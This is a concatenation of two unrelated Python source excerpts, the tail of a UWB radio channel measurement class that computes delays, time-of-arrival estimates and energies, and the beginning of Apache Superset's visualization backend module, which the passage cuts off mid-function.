#self.LQI['Method1_CH2']=b['LQI'][0][0].Method1_CH2[0][0] #self.LQI['Method1_CH3']=b['LQI'][0][0].Method1_CH3[0][0] #self.LQI['Method1_CH4']=b['LQI'][0][0].Method1_CH4[0][0] #self.LQI['Method2_CH1']=b['LQI'][0][0].Method2_CH1[0][0] #self.LQI['Method2_CH2']=b['LQI'][0][0].Method2_CH2[0][0] #self.LQI['Method2_CH3']=b['LQI'][0][0].Method2_CH3[0][0] #self.LQI['Method2_CH4']=b['LQI'][0][0].Method2_CH4[0][0] self.LQI['Method1_CH1'] = b['LQI'][0][0][0][0][0] self.LQI['Method1_CH2'] = b['LQI'][0][0][1][0][0] self.LQI['Method1_CH3'] = b['LQI'][0][0][2][0][0] self.LQI['Method1_CH4'] = b['LQI'][0][0][3][0][0] self.LQI['Method2_CH1'] = b['LQI'][0][0][4][0][0] self.LQI['Method2_CH2'] = b['LQI'][0][0][5][0][0] self.LQI['Method2_CH3'] = b['LQI'][0][0][6][0][0] self.LQI['Method2_CH4'] = b['LQI'][0][0][7][0][0] lqi1 = self.LQI['Method1_CH1'] lqi2 = self.LQI['Method1_CH2'] lqi3 = self.LQI['Method1_CH3'] lqi4 = self.LQI['Method1_CH4'] self.lqi = np.array([lqi1, lqi2, lqi3, lqi4]) self.Operators = b['Operators'] self.Tx_height = b['Tx_height'] self.Tx_position = b['Tx_position'] # appending geometrical information if self.Tx_height == '120cm': d = 1.2 else: d = 1.5 self.rx = Rx self.tx = np.hstack((Tx[nTx, :], d)) self.ntx = nTx # calculate delay d1 = pyu.delay(self.rx[1, :], self.tx) d2 = pyu.delay(self.rx[2, :], self.tx) d3 = pyu.delay(self.rx[3, :], self.tx) d4 = pyu.delay(self.rx[4, :], self.tx) self.de = np.array([d1, d2, d3, d4]) #display measurements if display: self.tdd.show(self.de) #calculate angle ang1 = geu.angular(self.tx, self.rx[1, :]) ang2 = geu.angular(self.tx, self.rx[2, :]) ang3 = geu.angular(self.tx, self.rx[3, :]) ang4 = geu.angular(self.tx, self.rx[4, :]) self.ag = np.array([ang1, ang2, ang3, ang4]) type1 = visi[0][nTx - 1] type2 = visi[1][nTx - 1] type3 = visi[2][nTx - 1] type4 = visi[3][nTx - 1] self.type = [type1, type2, type3, type4] self.valid = True else: raise AttributeError("non valid Rx point ") self.valid = False def __repr__(self): st = '' st = st + "Date_Time : " + self.Date_Time[0]+'\n' st = st + "Tx_height : " + self.Tx_height[0]+'\n' st = st + "Tx_position :" + self.Tx_position[0]+'\n' st = st + "Tx : " + str(self.tx)+'\n' return(st) def info(self): print( "Date_Time :", self.Date_Time) #print "Operators : ", self.Operators print( "Tx_height :", self.Tx_height) print( "Tx_position :", self.Tx_position) print( "Tx : ", self.tx) for i in range(4): print( "------Tx" + str(i + 1) + " ------") print( "delays (ns):", self.de[i]) print( "range (meters):", self.de[i] * 0.3) print( "visibility :", self.type[i]) print( "angular (degree) :", self.ag[i]) if i == 0: print( "LQI Meth1", self.LQI['Method1_CH1'], " (dB)") print( "LQI Meth2", self.LQI['Method2_CH1'], " (dB)") if i == 1: print( "LQI Meth1", self.LQI['Method1_CH2'], " (dB)") print( "LQI Meth2", self.LQI['Method2_CH2'], " (dB)") if i == 2: print( "LQI Meth1", self.LQI['Method1_CH3'], " (dB)") print( "LQI Meth2", self.LQI['Method2_CH3'], " (dB)") if i == 3: print( "LQI Meth1", self.LQI['Method1_CH4'], " (dB)") print( "LQI Meth2", self.LQI['Method2_CH4'], " (dB)") def show(self,fig=[],delay=np.array([[0], [0], [0], [0]]),display=True, col=['k', 'b', 'g', 'c'],xmin=0, xmax=100, C=0, NC=1,typ='v'): """ show measurement in time domain Parameters ---------- delay : np.array(1,4) display optional col optional xmin optional xmax optional C optional NC optional """ if fig ==[]: fig = plt.gcf() title = [] tit = ['Rx 1 : '+str(self.rx[1,:])+' Tx '+str(self.ntx)+ ': '+str(self.tx), 'Rx 2 : '+str(self.rx[2,:]), 'Rx 3 : '+str(self.rx[3,:]), 'Rx 4 : '+str(self.rx[4,:]) ] f,a = self.tdd.show(delay=delay, display = display, title = tit, col = col, xmin=xmin, xmax=xmax, typ='v', fig=fig) return f,a def Epercent(self): epercent1 = self.tdd.ch1.Epercent() epercent2 = self.tdd.ch2.Epercent() epercent3 = self.tdd.ch3.Epercent() epercent4 = self.tdd.ch4.Epercent() epercent = np.array([epercent1, epercent2, epercent3, epercent4]) return epercent def toa_max2(self): """ calculate toa_max (meth2) """ toa_max21 = self.tdd.ch1.toa_max2() toa_max22 = self.tdd.ch2.toa_max2() toa_max23 = self.tdd.ch3.toa_max2() toa_max24 = self.tdd.ch4.toa_max2() def tau_Emax(self): """ calculate the delay of energy peak """ tau_Emax1 = self.tdd.ch1.tau_Emax() tau_Emax2 = self.tdd.ch2.tau_Emax() tau_Emax3 = self.tdd.ch3.tau_Emax() tau_Emax4 = self.tdd.ch4.tau_Emax() tau_Emax = np.array([tau_Emax1, tau_Emax2, tau_Emax3, tau_Emax4]) return tau_Emax def tau_moy(self, display=False): """ calculate mean excess delay """ taum1 = self.tdd.ch1.tau_moy() taum2 = self.tdd.ch2.tau_moy() taum3 = self.tdd.ch3.tau_moy() taum4 = self.tdd.ch4.tau_moy() taum = np.array([taum1, taum2, taum3, taum4]) if display: self.tdd.show(taum) return taum def tau_rms(self, display=False): """ calculate the rms delay spread """ taurms1 = self.tdd.ch1.tau_rms() taurms2 = self.tdd.ch2.tau_rms() taurms3 = self.tdd.ch3.tau_rms() taurms4 = self.tdd.ch4.tau_rms() taurms = np.array([taurms1, taurms2, taurms3, taurms4]) if display: self.tdd.show_span(self.tau_moy(display=False), taurms) return taurms def toa_new(self, display=False): """ descendant threshold based toa estimation """ toa1 = self.tdd.ch1.toa_new() toa2 = self.tdd.ch2.toa_new() toa3 = self.tdd.ch3.toa_new() toa4 = self.tdd.ch4.toa_new() toa = np.array([toa1, toa2, toa3, toa4]) if display: self.tdd.show(toa) return toa def toa_win(self, n=9, display=False): """ descendant threshold based toa estimation Parameters ---------- n : key parameter n = 9 display : False """ toa1 = self.tdd.ch1.toa_win(w=n) toa2 = self.tdd.ch2.toa_win(w=n) toa3 = self.tdd.ch3.toa_win(w=n) toa4 = self.tdd.ch4.toa_win(w=n) toa = np.array([toa1, toa2, toa3, toa4]) if display: self.tdd.show(toa) return toa def toa_max(self, n=6, display=False): """ descendant threshold based toa estimation Parameters ---------- n : integer (default 6) """ toa1 = self.tdd.ch1.toa_max(nint=n) toa2 = self.tdd.ch2.toa_max(nint=n) toa3 = self.tdd.ch3.toa_max(nint=n) toa4 = self.tdd.ch4.toa_max(nint=n) toa = np.array([toa1, toa2, toa3, toa4]) if display: self.tdd.show(delay=toa) return toa def toa_th(self, r, k, display=False): """ threshold based toa estimation using energy peak Parameters ---------- r : float threshold los k : float threshold nlos """ toa1 = self.tdd.ch1.toa_th(visibility=self.type[0], thlos=r, thnlos=k) toa2 = self.tdd.ch2.toa_th(visibility=self.type[1], thlos=r, thnlos=k) toa3 = self.tdd.ch3.toa_th(visibility=self.type[2], thlos=r, thnlos=k) toa4 = self.tdd.ch4.toa_th(visibility=self.type[3], thlos=r, thnlos=k) toa = np.array([toa1, toa2, toa3, toa4]) if display: self.tdd.show(toa) return toa def toa_cum(self, n, display=False): """ threshold based toa estimation using cumulative energy Parameters ---------- n : int display : boolean """ toa1 = self.tdd.ch1.toa_cum(th=n) toa2 = self.tdd.ch2.toa_cum(th=n) toa3 = self.tdd.ch3.toa_cum(th=n) toa4 = self.tdd.ch4.toa_cum(th=n) toa = np.array([toa1, toa2, toa3, toa4]) if display: self.tdd.show(toa) return toa def taumax(self): """ """ tmax1 = self.tdd.ch1.taumax() tmax2 = self.tdd.ch2.taumax() tmax3 = self.tdd.ch3.taumax() tmax4 = self.tdd.ch4.taumax() taumx = np.array([tmax1, tmax2, tmax3, tmax4]) return taumx def Emax(self, Tint=1, sym=0.25, dB=True): """ calculate maximum energy Parameters ---------- Tint : float sym :float dB : boolean """ taumax = self.taumax() Emax1 = self.tdd.ch1.Ewin(taumax[0], Tint=Tint, sym=sym, dB=dB) Emax2 = self.tdd.ch2.Ewin(taumax[1], Tint=Tint, sym=sym, dB=dB) Emax3 = self.tdd.ch3.Ewin(taumax[2], Tint=Tint, sym=sym, dB=dB) Emax4 = self.tdd.ch4.Ewin(taumax[3], Tint=Tint, sym=sym, dB=dB) emax = np.array([Emax1, Emax2, Emax3, Emax4]) return emax def Etot(self,toffns=0.7,tdns=75,dB=True): """ Calculate total energy for the 4 channels Parameters ---------- toffns : float time offset for selecting time window tdns : float time duration of the window Notes ----- This function gets the total energy of the channel from [tau_0 + tofffset , tau_0 + toffset +tduration ] """ de0 = self.de[0] + toffns de1 = self.de[1] + toffns de2 = self.de[2] + toffns de3 = self.de[3] + toffns Etot1 = self.tdd.ch1.Etot(de0, de0 + tdns) Etot2 = self.tdd.ch2.Etot(de1, de1 + tdns) Etot3 = self.tdd.ch3.Etot(de2, de2 + tdns) Etot4 = self.tdd.ch4.Etot(de3, de3 + tdns) etot = np.array([Etot1, Etot2, Etot3, Etot4]) if dB==True: etot = 10*np.log10(etot), return etot def Efirst(self, Tint=1, sym=0.25, dB=True): """ calculate energy in first path Parameters ---------- Tint : float sym : float dB : boolean """ # ??? #sig = 1/(2*np.sqrt(22)) #phi1 = self.tdd.ch1.correlate(self.tdd.tx,True) #phi2 = self.tdd.ch2.correlate(self.tdd.tx,True) #phi3 = self.tdd.ch3.correlate(self.tdd.tx,True) #phi4 = self.tdd.ch4.correlate(self.tdd.tx,True) #Efirst1 = phi1.corrgauss(sig).Efirst_loc(12,sum(self.tdd.tx.y * self.tdd.tx.y)* self.tdd.tx.dx()) #Efirst2 = phi2.corrgauss(sig).Efirst_loc(12,sum(self.tdd.tx.y * self.tdd.tx.y)* self.tdd.tx.dx()) #Efirst3 = phi3.corrgauss(sig).Efirst_loc(12,sum(self.tdd.tx.y * self.tdd.tx.y)* self.tdd.tx.dx()) #Efirst4 = phi4.corrgauss(sig).Efirst_loc(12,sum(self.tdd.tx.y * self.tdd.tx.y)* self.tdd.tx.dx()) toa = self.toa_win() Ef1 = self.tdd.ch1.Ewin(tau=toa[0], Tint=Tint, sym=sym, dB=dB) Ef2 = self.tdd.ch2.Ewin(tau=toa[1], Tint=Tint, sym=sym, dB=dB) Ef3 = self.tdd.ch3.Ewin(tau=toa[2], Tint=Tint, sym=sym, dB=dB) Ef4 = self.tdd.ch4.Ewin(tau=toa[3], Tint=Tint, sym=sym, dB=dB) efirst = np.array([Ef1, Ef2, Ef3, Ef4]) return efirst def Etau0(self, Tint=1, sym=0.25, dB=True): """ calculate the energy around delay tau0 """ Etau01 = self.tdd.ch1.Ewin(tau=self.de[0], Tint=Tint, sym=sym, dB=dB) Etau02 = self.tdd.ch2.Ewin(tau=self.de[1], Tint=Tint, sym=sym, dB=dB) Etau03 = self.tdd.ch3.Ewin(tau=self.de[2], Tint=Tint, sym=sym, dB=dB) Etau04 = self.tdd.ch4.Ewin(tau=self.de[3], Tint=Tint, sym=sym, dB=dB) etau0 = np.array([Etau01, Etau02, Etau03, Etau04]) return etau0 def ecdf(self, Tnoise=10, rem_noise=True, in_positivity=False, display=False, normalize=True, delay=0): """ calculate energy cumulative density function Parameters ---------- Tnoise rem_noise in_positivity display normalize delay """ ecdf1, var1 = self.tdd.ch1.ecdf(delay=self.de[0]) ecdf2, var2 = self.tdd.ch2.ecdf(delay=self.de[1]) ecdf3, var3 = self.tdd.ch3.ecdf(delay=self.de[2]) ecdf4, var4 = self.tdd.ch4.ecdf(delay=self.de[3]) ecdf = np.array([ecdf1, ecdf2, ecdf3, ecdf4]) var = np.array([var1, var2, var3, var4]) return ecdf, var def tdelay(self): """ build an array with delay values Returns ------- t2 : np.array [tau0 , tau_th , toa_cum , toa_max , tau_moy ,tau_rms, tau_moy+tau_rms] """ tau0 = self.de tau_moy = np.array([self.F1.chan_param['tau_moy'], self.F2.chan_param['tau_moy'], self.F3.chan_param['tau_moy'], self.F4.chan_param['tau_moy']]) tau_rms = np.array([self.F1.chan_param['tau_rms'], self.F2.chan_param['tau_rms'], self.F3.chan_param['tau_rms'], self.F4.chan_param['tau_rms']]) toa_cum = np.array([self.F1.chan_param['toa_cum'], self.F2.chan_param['toa_cum'], self.F3.chan_param['toa_cum'], self.F4.chan_param['toa_cum']]) toa_th = np.array([self.F1.chan_param['toa_th'], self.F2.chan_param['toa_th'], self.F3.chan_param['toa_th'], self.F4.chan_param['toa_th']]) toa_max = np.array([self.F1.chan_param['toa_max'], self.F2.chan_param['toa_max'], self.F3.chan_param['toa_max'], self.F4.chan_param['toa_max']]) t1 = vstack((tau0, toa_th, toa_cum, toa_max, tau_moy - tau_rms, tau_moy + tau_rms)) t2 = t1.T return(t2) def fp(self, alpha=0.1): """ build fingerprint Parameters ---------- alpha : float alpha is a quantile parameter for taum and taurms calculation """ self.F1 = FP(self, 1, alpha=alpha) self.F2 = FP(self, 2, alpha=alpha) self.F3 = FP(self, 3, alpha=alpha) self.F4 = FP(self, 4, alpha=alpha) def outlatex(self, S): """ measurement output latex M.outlatex(S) S : a Simulation object """ tt = self.tdelay() tt = np.array([[tt[0, 0]], [tt[1, 0]], [tt[2, 0]], [tt[3, 0]]]) self.show(tt, display=False) fig = plt.gcf() sp1 = fig.add_subplot(5, 1, 1) S.indoor.show(fig, sp1) sp1.plot(self.rx[1:, 0], self.rx[1:, 1], 'ob') sp1.annotate('Rx1', xy=(self.rx[1, 0], self.rx[1, 1])) sp1.annotate('Rx2', xy=(self.rx[2, 0], self.rx[2, 1])) sp1.annotate('Rx3', xy=(self.rx[3, 0], self.rx[3, 1])) sp1.annotate('Rx4', xy=(self.rx[4, 0], self.rx[4, 1])) sp1.plot(hstack((self.tx[0], self.tx[0])), hstack((self.tx[1], self.tx[1])), 'or') title(self.Tx_position) sz = fig.get_size_inches() fig.set_size_inches(sz * 2.3) ext1 = '.pdf' ext2 = '.tex' ext3 = '.png' # if self.tx[2] < 1.3: h = 1 else: h = 2 # #filename='Tx'+self.Tx_position+'h'+str(h) filename = str(h) + self.Tx_position filename = filename.replace('P', '') fig.savefig('./figures/' + filename + ext3, orientation='portrait') fig.clf() plt.close(fig) plt.clf() #fig.savefig('./figures/'+filename+ext1,orientation='portrait') #clf() # very important to close the figure otherwise memory error # entete='\\clearpage\\setcounter{page}{1}\\pagestyle{Standard} \n {\\centering '+ self.Tx_position # position = ' $T_{x}=[%5.2f,%5.2f,%5.2f]$ \\par} {\\centering \\par} \n' % (self.tx[0] , self.tx[1] , self.tx[2]) # tfigure = '\\begin{figure}[htp]\n\\centering\n \\includegraphics[width=14.078cm,height=14.131cm]{'+filename+ext1+'}\n \\end{figure}\n' # # l1='\\begin{center}\n' # l11='\\end{center}\n' # l2='\\tablehead{}\n' # l3='\\begin{supertabular}{|l|l|l|l|l|}\n' # l33='\\end{supertabular}\n' # l4='\\hline\n' # l5='Parameter & $Rx_1$ & $Rx_2$ &$Rx_3$ &$Rx_4$ \\\\\n' # # d1 = '%5.2f' % self.F1.metadata['distance'] # d2 = '%5.2f' % self.F2.metadata['distance'] # d3 = '%5.2f' % self.F3.metadata['distance'] # d4 = '%5.2f' % self.F4.metadata['distance'] # # t1 = '%5.2f' % self.F1.metadata['delay'] # t2 = '%5.2f' % self.F2.metadata['delay'] # t3 = '%5.2f' % self.F3.metadata['delay'] # t4 = '%5.2f' % self.F4.metadata['delay'] # # ldistance='distance (m) & ' + d1 +'&' + d2 +'&' + d3 +'&' + d4 +' \\\\\n' # ldelay ='$\\tau_0$ (ns) & ' + t1 +'&' + t2 +'&' + t3 +'&' + t4 +' \\\\\n' # # Etot1 = '%5.3f' % self.F1.chan_param['Etot'] # Etot2 = '%5.3f' % self.F2.chan_param['Etot'] # Etot3 = '%5.3f' % self.F3.chan_param['Etot'] # Etot4 = '%5.3f' % self.F4.chan_param['Etot'] # lEtot='$E_{tot}$ (dBJ) & ' + Etot1 +'&' + Etot2 +'&' + Etot3 +'&' + Etot4 +' \\\\\n' # # Emax1 = '%5.3f' % self.F1.chan_param['Emax'] # Emax2 = '%5.3f' % self.F2.chan_param['Emax'] # Emax3 = '%5.3f' % self.F3.chan_param['Emax'] # Emax4 = '%5.3f' % self.F4.chan_param['Emax'] # lEmax='$E_{max}$ (dBJ) & ' + Emax1 +' &' + Emax2 +'&' + Emax3 +' &' + Emax4 +' \\\\\n' # # tau_moy1 = '%5.3f' % self.F1.chan_param['tau_moy'] # tau_moy2 = '%5.3f' % self.F2.chan_param['tau_moy'] # tau_moy3 = '%5.3f' % self.F3.chan_param['tau_moy'] # tau_moy4 = '%5.3f' % self.F4.chan_param['tau_moy'] # ltau_moy='$\\tau_{m}$ (ns) & ' + tau_moy1 +'&' + tau_moy2 +'&' + tau_moy3 +'&' + tau_moy4 +' \\\\\n' # # # tau_rms1 = '%5.3f' % self.F1.chan_param['tau_rms'] # tau_rms2 = '%5.3f' % self.F2.chan_param['tau_rms'] # tau_rms3 = '%5.3f' % self.F3.chan_param['tau_rms'] # tau_rms4 = '%5.3f' % self.F4.chan_param['tau_rms'] # ltau_rms='$\\tau_{rms}$ (ns) & ' + tau_rms1 +'&' + tau_rms2 +'&' + tau_rms3 +'&' + tau_rms4 +' \\\\\n' # # toa_max1 = '%5.3f' % self.F1.chan_param['toa_max'] # toa_max2 = '%5.3f' % self.F2.chan_param['toa_max'] # toa_max3 = '%5.3f' % self.F3.chan_param['toa_max'] # toa_max4 = '%5.3f' % self.F4.chan_param['toa_max'] # ltoa_max='$\\hat{\\tau}_{0}^{max}$ (ns) & ' + toa_max1 +'&' + toa_max2 +'&' + toa_max3 +'&' + toa_max4 +' \\\\\n' # # toa_th1 = '%5.3f' % self.F1.chan_param['toa_th'] # toa_th2 = '%5.3f' % self.F2.chan_param['toa_th'] # toa_th3 = '%5.3f' % self.F3.chan_param['toa_th'] # toa_th4 = '%5.3f' % self.F4.chan_param['toa_th'] # ltoa_th='$\\hat{\\tau}_{0}^{th}$ (ns) & ' + toa_th1 +'&' + toa_th2 +'&' + toa_th3 +'&' + toa_th4 +' \\\\\n' # # # toa_cum1 = '%5.3f' % self.F1.chan_param['toa_cum'] # toa_cum2 = '%5.3f' % self.F2.chan_param['toa_cum'] # toa_cum3 = '%5.3f' % self.F3.chan_param['toa_cum'] # toa_cum4 = '%5.3f' % self.F4.chan_param['toa_cum'] # ltoa_cum='$\\hat{\\tau}_{0}^{cum}$ (ns) & ' + toa_cum1 +'&' + toa_cum2 +'&' + toa_cum3 +'&' + toa_cum4 +' \\\\\n' # # fd = open('./figures/'+filename+ext2,'w') # fd.write(entete+position) # fd.write(tfigure) # fd.write(l1) # fd.write(l2) # fd.write(l3) # fd.write(l4) # fd.write(l5) # fd.write(l4) # fd.write(ldistance) # fd.write(l4) # fd.write(ldelay) # fd.write(l4) # fd.write(l4) # fd.write(lEtot) # fd.write(l4) # fd.write(lEmax) # fd.write(l4) # fd.write(ltau_moy) # fd.write(l4) # fd.write(ltau_rms) # fd.write(l4) # fd.write(ltoa_th) # fd.write(l4) # fd.write(ltoa_cum) # fd.write(l4) # fd.write(ltoa_max) # fd.write(l4) # fd.write(l33) # fd.write(l11) # fd.close() if __name__ == "__main__": doctest.testmod()
codeparrot/github-code-clean
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # pylint: disable=C,R,W """This module contains the 'Viz' objects These objects represent the backend of all the visualizations that Superset can render. """ import copy import dataclasses import inspect import logging import math import re from collections import defaultdict, OrderedDict from datetime import date, datetime, timedelta from itertools import product from typing import ( Any, Callable, cast, Dict, List, Optional, Set, Tuple, TYPE_CHECKING, Union, ) import geohash import numpy as np import pandas as pd import polyline import simplejson as json from dateutil import relativedelta as rdelta from flask import request from flask_babel import lazy_gettext as _ from geopy.point import Point from pandas.tseries.frequencies import to_offset from superset import app, cache, db, security_manager from superset.constants import NULL_STRING from superset.errors import ErrorLevel, SupersetError, SupersetErrorType from superset.exceptions import ( NullValueException, QueryObjectValidationError, SpatialException, ) from superset.models.cache import CacheKey from superset.models.helpers import QueryResult from superset.typing import QueryObjectDict, VizData, VizPayload from superset.utils import core as utils from superset.utils.core import ( DTTM_ALIAS, JS_MAX_INTEGER, merge_extra_filters, QueryMode, to_adhoc, ) from superset.utils.dates import datetime_to_epoch from superset.utils.hashing import md5_sha_from_str if TYPE_CHECKING: from superset.connectors.base.models import BaseDatasource config = app.config stats_logger = config["STATS_LOGGER"] relative_start = config["DEFAULT_RELATIVE_START_TIME"] relative_end = config["DEFAULT_RELATIVE_END_TIME"] logger = logging.getLogger(__name__) METRIC_KEYS = [ "metric", "metrics", "percent_metrics", "metric_2", "secondary_metric", "x", "y", "size", ] def set_and_log_cache( cache_key: str, df: pd.DataFrame, query: str, cached_dttm: str, cache_timeout: int, datasource_uid: Optional[str], ) -> None: try: cache_value = dict(dttm=cached_dttm, df=df, query=query) stats_logger.incr("set_cache_key") cache.set(cache_key, cache_value, timeout=cache_timeout) if datasource_uid: ck = CacheKey( cache_key=cache_key, cache_timeout=cache_timeout, datasource_uid=datasource_uid, ) db.session.add(ck) except Exception as ex: # cache.set call can fail if the backend is down or if # the key is too large or whatever other reasons logger.warning("Could not cache key {}".format(cache_key)) logger.exception(ex) cache.delete(cache_key) class BaseViz: """All visualizations derive this base class""" viz_type: Optional[str] = None verbose_name = "Base Viz" credits = "" is_timeseries = False cache_type = "df" enforce_numerical_metrics = True def __init__( self, datasource: "BaseDatasource", form_data: Dict[str, Any], force: bool = False, ) -> None: if not datasource: raise Exception(_("Viz is missing a datasource")) self.datasource = datasource self.request = request self.viz_type = form_data.get("viz_type") self.form_data = form_data self.query = "" self.token = utils.get_form_data_token(form_data) self.groupby: List[str] = self.form_data.get("groupby") or [] self.time_shift = timedelta() self.status: Optional[str] = None self.error_msg = "" self.results: Optional[QueryResult] = None self.errors: List[Dict[str, Any]] = [] self.force = force self.from_dttm: Optional[datetime] = None self.to_dttm: Optional[datetime] = None # Keeping track of whether some data came from cache # this is useful to trigger the <CachedLabel /> when # in the cases where visualization have many queries # (FilterBox for instance) self._any_cache_key: Optional[str] = None self._any_cached_dttm: Optional[str] = None self._extra_chart_data: List[Tuple[str, pd.DataFrame]] = [] self.process_metrics() def process_metrics(self) -> None: # metrics in TableViz is order sensitive, so metric_dict should be # OrderedDict self.metric_dict = OrderedDict() fd = self.form_data for mkey in METRIC_KEYS: val = fd.get(mkey) if val: if not isinstance(val, list): val = [val] for o in val: label = utils.get_metric_name(o) self.metric_dict[label] = o # Cast to list needed to return serializable object in py3 self.all_metrics = list(self.metric_dict.values()) self.metric_labels = list(self.metric_dict.keys()) @staticmethod def handle_js_int_overflow( data: Dict[str, List[Dict[str, Any]]] ) -> Dict[str, List[Dict[str, Any]]]: for d in data.get("records", {}): for k, v in list(d.items()): if isinstance(v, int): # if an int is too big for Java Script to handle # convert it to a string if abs(v) > JS_MAX_INTEGER: d[k] = str(v) return data def run_extra_queries(self) -> None: """Lifecycle method to use when more than one query is needed In rare-ish cases, a visualization may need to execute multiple queries. That is the case for FilterBox or for time comparison in Line chart for instance. In those cases, we need to make sure these queries run before the main `get_payload` method gets called, so that the overall caching metadata can be right. The way it works here is that if any of the previous `get_df_payload` calls hit the cache, the main payload's metadata will reflect that. The multi-query support may need more work to become a first class use case in the framework, and for the UI to reflect the subtleties (show that only some of the queries were served from cache for instance). In the meantime, since multi-query is rare, we treat it with a bit of a hack. Note that the hack became necessary when moving from caching the visualization's data itself, to caching the underlying query(ies). """ pass def apply_rolling(self, df: pd.DataFrame) -> pd.DataFrame: fd = self.form_data rolling_type = fd.get("rolling_type") rolling_periods = int(fd.get("rolling_periods") or 0) min_periods = int(fd.get("min_periods") or 0) if rolling_type in ("mean", "std", "sum") and rolling_periods: kwargs = dict(window=rolling_periods, min_periods=min_periods) if rolling_type == "mean": df = df.rolling(**kwargs).mean() elif rolling_type == "std": df = df.rolling(**kwargs).std() elif rolling_type == "sum": df = df.rolling(**kwargs).sum() elif rolling_type == "cumsum": df = df.cumsum() if min_periods: df = df[min_periods:] if df.empty: raise QueryObjectValidationError( _( "Applied rolling window did not return any data. Please make sure " "the source query satisfies the minimum periods defined in the " "rolling window." ) ) return df def get_samples(self) -> List[Dict[str, Any]]: query_obj = self.query_obj() query_obj.update( { "groupby": [], "metrics": [], "row_limit": config["SAMPLES_ROW_LIMIT"], "columns": [o.column_name for o in self.datasource.columns], } ) df = self.get_df(query_obj) return df.to_dict(orient="records") def get_df(self, query_obj: Optional[QueryObjectDict] = None) -> pd.DataFrame: """Returns a pandas dataframe based on the query object""" if not query_obj: query_obj = self.query_obj() if not query_obj: return pd.DataFrame() self.error_msg = "" timestamp_format = None if self.datasource.type == "table": granularity_col = self.datasource.get_column(query_obj["granularity"]) if granularity_col: timestamp_format = granularity_col.python_date_format # The datasource here can be different backend but the interface is common self.results = self.datasource.query(query_obj) self.query = self.results.query self.status = self.results.status self.errors = self.results.errors df = self.results.df # Transform the timestamp we received from database to pandas supported # datetime format. If no python_date_format is specified, the pattern will # be considered as the default ISO date format # If the datetime format is unix, the parse will use the corresponding # parsing logic. if not df.empty: if DTTM_ALIAS in df.columns: if timestamp_format in ("epoch_s", "epoch_ms"): # Column has already been formatted as a timestamp. dttm_col = df[DTTM_ALIAS] one_ts_val = dttm_col[0] # convert time column to pandas Timestamp, but different # ways to convert depending on string or int types try: int(one_ts_val) is_integral = True except (ValueError, TypeError): is_integral = False if is_integral: unit = "s" if timestamp_format == "epoch_s" else "ms" df[DTTM_ALIAS] = pd.to_datetime( dttm_col, utc=False, unit=unit, origin="unix" ) else: df[DTTM_ALIAS] = dttm_col.apply(pd.Timestamp) else: df[DTTM_ALIAS] = pd.to_datetime( df[DTTM_ALIAS], utc=False, format=timestamp_format ) if self.datasource.offset: df[DTTM_ALIAS] += timedelta(hours=self.datasource.offset) df[DTTM_ALIAS] += self.time_shift if self.enforce_numerical_metrics: self.df_metrics_to_num(df) df.replace([np.inf, -np.inf], np.nan, inplace=True) return df def df_metrics_to_num(self, df: pd.DataFrame) -> None: """Converting metrics to numeric when pandas.read_sql cannot""" metrics = self.metric_labels for col, dtype in df.dtypes.items(): if dtype.type == np.object_ and col in metrics: df[col] = pd.to_numeric(df[col], errors="coerce") def process_query_filters(self) -> None: utils.convert_legacy_filters_into_adhoc(self.form_data) merge_extra_filters(self.form_data) utils.split_adhoc_filters_into_base_filters(self.form_data) def query_obj(self) -> QueryObjectDict: """Building a query object""" form_data = self.form_data self.process_query_filters() gb = self.groupby metrics = self.all_metrics or [] columns = form_data.get("columns") or [] # merge list and dedup while preserving order groupby = list(OrderedDict.fromkeys(gb + columns)) is_timeseries = self.is_timeseries if DTTM_ALIAS in groupby: groupby.remove(DTTM_ALIAS) is_timeseries = True granularity = form_data.get("granularity") or form_data.get("granularity_sqla") limit = int(form_data.get("limit") or 0) timeseries_limit_metric = form_data.get("timeseries_limit_metric") row_limit = int(form_data.get("row_limit") or config["ROW_LIMIT"]) # default order direction order_desc = form_data.get("order_desc", True) try: since, until = utils.get_since_until( relative_start=relative_start, relative_end=relative_end, time_range=form_data.get("time_range"), since=form_data.get("since"), until=form_data.get("until"), ) except ValueError as ex: raise QueryObjectValidationError(str(ex)) time_shift = form_data.get("time_shift", "") self.time_shift = utils.parse_past_timedelta(time_shift) from_dttm = None if since is None else (since - self.time_shift) to_dttm = None if until is None else (until - self.time_shift) if from_dttm and to_dttm and from_dttm > to_dttm: raise QueryObjectValidationError( _("From date cannot be larger than to date") ) self.from_dttm = from_dttm self.to_dttm = to_dttm # extras are used to query elements specific to a datasource type # for instance the extra where clause that applies only to Tables extras = { "druid_time_origin": form_data.get("druid_time_origin", ""), "having": form_data.get("having", ""), "having_druid": form_data.get("having_filters", []), "time_grain_sqla": form_data.get("time_grain_sqla"), "time_range_endpoints": form_data.get("time_range_endpoints"), "where": form_data.get("where", ""), } return { "granularity": granularity, "from_dttm": from_dttm, "to_dttm": to_dttm, "is_timeseries": is_timeseries, "groupby": groupby, "metrics": metrics, "row_limit": row_limit, "filter": self.form_data.get("filters", []), "timeseries_limit": limit, "extras": extras, "timeseries_limit_metric": timeseries_limit_metric, "order_desc": order_desc, } @property def cache_timeout(self) -> int: if self.form_data.get("cache_timeout") is not None: return int(self.form_data["cache_timeout"]) if self.datasource.cache_timeout is not None: return self.datasource.cache_timeout if ( hasattr(self.datasource, "database") and self.datasource.database.cache_timeout ) is not None: return self.datasource.database.cache_timeout return config["CACHE_DEFAULT_TIMEOUT"] def get_json(self) -> str: return json.dumps( self.get_payload(), default=utils.json_int_dttm_ser, ignore_nan=True ) def cache_key(self, query_obj: QueryObjectDict, **extra: Any) -> str: """ The cache key is made out of the key/values in `query_obj`, plus any other key/values in `extra`. We remove datetime bounds that are hard values, and replace them with the use-provided inputs to bounds, which may be time-relative (as in "5 days ago" or "now"). The `extra` arguments are currently used by time shift queries, since different time shifts wil differ only in the `from_dttm`, `to_dttm`, `inner_from_dttm`, and `inner_to_dttm` values which are stripped. """ cache_dict = copy.copy(query_obj) cache_dict.update(extra) for k in ["from_dttm", "to_dttm", "inner_from_dttm", "inner_to_dttm"]: if k in cache_dict: del cache_dict[k] cache_dict["time_range"] = self.form_data.get("time_range") 